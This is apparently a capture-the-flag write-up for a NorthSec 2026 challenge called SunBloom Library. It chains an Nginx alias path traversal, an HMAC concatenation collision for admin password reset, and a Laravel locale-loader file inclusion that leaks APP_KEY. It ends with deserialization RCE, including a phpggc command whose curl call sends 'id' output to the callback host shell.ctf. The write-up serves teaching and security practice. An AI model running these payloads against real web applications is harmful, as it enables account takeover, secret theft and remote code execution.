NorthSec CTF 2026 - Sunbloom Library

If there’s one thing I like to do to relax it’s to read a good book. My neighborhood’s public library, The SunBloom Library, has a pretty nice collection! Great to wind down when we’re not fighting cybercriminals and protecting people!

Now listen to this… They have a section full of encrypted secret books that only admins can access. That makes me think of the d&d game I played where there was a secret library protected by a lich!

Let’s try to get the hidden power of knowledge!
Public book catalog

They also run a mail service.

Flag 1 - Nginx alias path traversal

The application serves static files through an Nginx location block. Browsing the app shows requests to /assets/img/logo.svg, which hints at the alias configuration. A quick test with autoindex reveals directory listing is active on /assets/.

The Nginx config defines the location without a trailing slash on the location name:

location /assets {
    alias /var/www/assets/;
}

This is a well-known Nginx off-by-one, when the location directive has no trailing slash but the alias does, Nginx resolves /assets../ as /var/www/assets/../ = /var/www/. Combined with autoindex on, this becomes a full directory listing and arbitrary file read under the web root.

GET /assets../ HTTP/1.1
Host: sunbloom.nsec
<html>
<head><title>Index of /assets../</title></head>
<body>
<h1>Index of /assets../</h1><hr><pre>
<a href="../">../</a>
<a href="assets/">assets/</a>
<a href="html/">html/</a>
<a href="backup.tar.gz">backup.tar.gz</a>
<a href="flag.txt">flag.txt</a>
</pre><hr></body>
</html>

The directory listing also exposes backup.tar.gz , downloading it gives the full application source code, which is the basis for the analysis in flags 2, 3, and 4.

Flag 2 - HMAC collision on forgot password

The password reset token is a stateless HMAC-SHA256 built by directly concatenating email and name with no separator:

// app/Http/Controllers/Auth/PasswordResetController.php
$token = hash_hmac('sha256', $user->email . $user->name, config('app.key'));

No separator means the HMAC input for ("admin@sunbloom.nsec", "administrator") is the string admin@sunbloom.nsecadministrator. Any other (email, name) pair that produces the same concatenation generates an identical token, a classic hash concatenation collision.

The admin account seeded in database/seeders/UserSeeder.php:

emailnameHMAC input
admin@sunbloom.nsecadministratoradmin@sunbloom.nsecadministrator

Shifting one character from the end of the email to the start of the name produces an identical input:

emailnameHMAC input
admin@sunbloom.nsecadministratoradmin@sunbloom.nsecadministrator

We register the collision account on the library with name cadministrator and email admin@sunbloom.nse. The mail app at mail.ctf is a separate service used by the challenge to deliver reset emails. We register the same address there so we can read incoming messages:

We then request a password reset for admin@sunbloom.nse on the library.

The server computes HMAC("admin@sunbloom.nsecadministrator", APP_KEY) and sends the token to admin@sunbloom.nse. We log into the mail app, open the reset email, and copy the token from the link.

We now submit the reset using the real admin email and the token we just received.

The server computes HMAC("admin@sunbloom.nsec" + "administrator", key), identical to our token and validation passes and the admin password is updated.

Logging in as admin, the flag is rendered in the dashboard view:

// resources/views/admin/dashboard.blade.php
{{ env('FLAG2', 'NSEC{TODO}') }}

Flag 3 - LFI via Laravel locale loader

LocaleController passes user-controlled locale and namespace parameters directly to Laravel's FileLoader without any sanitisation:

// app/Http/Controllers/Base/LocaleController.php
$locales    = explode(' ', $request->input('locale',    'en'));
$namespaces = explode(' ', $request->input('namespace', 'translation'));

foreach ($locales as $locale) {
    foreach ($namespaces as $namespace) {
        $path = str_replace('.', '/', $namespace);
        $loader = $this->translator->getLoader();
        $translations = $loader->load($locale, $path);   // ← arbitrary file inclusion

Looking at the Laravel framework sourceFileLoader::load() delegates to loadPaths(), which constructs the file path by simple string interpolation with no sanitisation:

// Illuminate/Translation/FileLoader.php
public function load($locale, $group, $namespace = null)
{
    if ($group === '*' && $namespace === '*') {
        return $this->loadJsonPaths($locale);
    }
    if (is_null($namespace) || $namespace === '*') {
        return $this->loadPaths($this->paths, $locale, $group);
    }
    return $this->loadNamespaced($locale, $group, $namespace);
}

protected function loadPaths(array $paths, $locale, $group)
{
    return (new Collection($paths))
        ->reduce(function ($output, $path) use ($locale, $group) {
            if ($this->files->exists($full = "{$path}/{$locale}/{$group}.php")) {
                $output = array_replace_recursive($output, $this->files->getRequire($full));
            }
            return $output;
        }, []);
}

$path is resources/lang$locale and $group come straight from user input. getRequire() calls PHP's require, so the target file is executed and its return value is used as the translation array, anything that returns an array is fair game.

A traversal in locale escapes resources/lang/ and includes any .php file on the server as a Laravel translation array, the PHP file is executed and its return value is JSON-encoded in the response. The most valuable target is config/app.php, which contains APP_KEY and the flag 3 stored as environment config values.

'flag'=> 'NSEC{TODO}',

The LFI scope is constrained by two factors: we don't control the beginning of the path (always rooted in resources/lang/) and the suffix .php is hardcoded. This rules out log poisoning or including arbitrary files only existing .php files are readable. RCE through this vector alone is not possible here.

The same bug in Pterodactyl (GHSA-24wv-6c99-f843) was escalated to RCE via a well-known trick: including pearcmd.php and accepts arguments through $_SERVER['argv'] populated from query string parameters. This allows writing arbitrary files to disk and from there achieving code execution, as detailed in this blog post. In this challenge the environment doesn't expose pearcmd.php, so the LFI stays at file read.

Path construction:

resources/lang/ + ../../../html + / + config/app + .php
= /var/www/html/config/app.php

The endpoint requires admin account:

GET /locales/locale.json?locale=..%2F..%2F..%2Fhtml&namespace=config%2Fapp HTTP/1.1
Cookie: ...authenticated session...
{
  "../../../html": {
    "config/app": {
      "name": "The SunBloom Library",
      "key":  "base64{{sQJtpwJ1fwpvRXIQRxCzO}}+MV3hBo\/nLTNNDJ67fy8WA=",
      "flag": "FLAG-....",
      ...
    }
  }
}

The APP_KEY value is mangled in the response because the i18n() helper in LocaleController converts :word placeholders to {{word}}:

base64:sQJtpwJ1fwpvRXIQRxCzO+MV3hBo/nLTNNDJ67fy8WA=
         ↓ i18n()
base64{{sQJtpwJ1fwpvRXIQRxCzO}}+MV3hBo/nLTNNDJ67fy8WA=

The real APP_KEY is base64:sQJtpwJ1fwpvRXIQRxCzO+MV3hBo/nLTNNDJ67fy8WA= which is needed for Flag 4.

Flag 4 - RCE via PHP deserialization + mass assignment

Two independent vulnerabilities allow us to get an RCE.

The first is a mass assignment issue in SecretBookController. The update() action passes $request->all() directly to the model, every field in the request body, including encrypted_content, gets written to the database regardless of whether the front-end form exposes it:

// app/Http/Controllers/Admin/SecretBookController.php
public function update(Request $request, $id)
{
    $secretBook = SecretBook::findOrFail($id);
    $secretBook->update($request->all());              // ← mass assignment
}

The second is in the show() action, which decrypts the stored encrypted_content and passes it to the view:

public function show($id)
{
    $secretBook       = SecretBook::with('creator')->findOrFail($id);
    $decryptedContent = $this->crypto->decrypt($secretBook->encrypted_content);
}

SecretBookCrypto::decrypt() calls Laravel's Encrypter::decrypt() with unserialize: true:

// app/Services/SecretBookCrypto.php
public function decrypt(string $payload): string
{
    return $this->encrypter->decrypt($payload, true);  // ← unserialize=true
}

Looking at the Laravel Encrypter source, the $unserialize flag goes directly to PHP's unserialize() on the decrypted bytes:

// Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true)
{
    $payload = $this->getJsonPayload($payload);
    $iv = base64_decode($payload['iv']);

    // MAC verification happens here, the payload must be encrypted with the real APP_KEY
    if ($this->shouldValidateMac() && ! $foundValidMac) {
        throw new DecryptException('The MAC is invalid.');
    }

    $decrypted = \openssl_decrypt(
        $payload['value'], strtolower($this->cipher), $key, 0, $iv, $tag ?? ''
    );

    return $unserialize ? unserialize($decrypted) : $decrypted;  // ← sink
}

The MAC check is the only gate, if we can produce a payload that passes verification, unserialize() will execute whatever we put inside. Since we recovered the APP_KEY in Flag 3, we can forge a valid ciphertext ourselves.

We use phpggc to generate a gadget chain. Checking the available chains against Laravel 11.31, Laravel/RCE22 is the compatible one:

phpggc Laravel/RCE22 system 'curl http://shell.ctf/?x=$(id)' -b -f

The output is a base64-encoded serialized PHP object. We then need to produce a Laravel-formatted ciphertext that passes the MAC check. For this we use laravel-crypto-killer, a tool developed by Synacktiv as part of their research on APP_KEY leakage. Their work surveyed 625 000 publicly exposed Laravel instances, found that 3.56% had a recoverable APP_KEY, and documented the full exploit chain: leak the key → encrypt a phpggc gadget chain → trigger decrypt($payload, unserialize: true). The tool covers the encryption step so that the forged payload passes Laravel's HMAC-SHA256 MAC verification:

./laravel_crypto_killer.py encrypt \
  -k 'base64:sQJtpwJ1fwpvRXIQRxCzO+MV3hBo/nLTNNDJ67fy8WA=' \
  -v '<base64-gadget-chain>'
# → eyJpdiI6...

We overwrite the encrypted_content field of an existing secret book by sending the field directly in the update request, possible only because of the mass assignment issue:

POST /admin/secret-books/1 HTTP/1.1
Cookie: ...admin session...

_token=...&title=pwned&encrypted_content=eyJpdiI6...

Visiting the book triggers show() → decrypt() → unserialize() → gadget chain executes:

GET /admin/secret-books/1 HTTP/1.1
Cookie: ...admin session...

Same infrastructure as for Helios Fleet Network, a dedicated machine on the CTF network. The OOB callback arrives:

GET /?x=uid=33(www-data) HTTP/1.1
Host: shell.ctf
User-Agent: curl/8.14.1

RCE confirmed as www-data. From here, reading the flag is straightforward.

Final Attack Path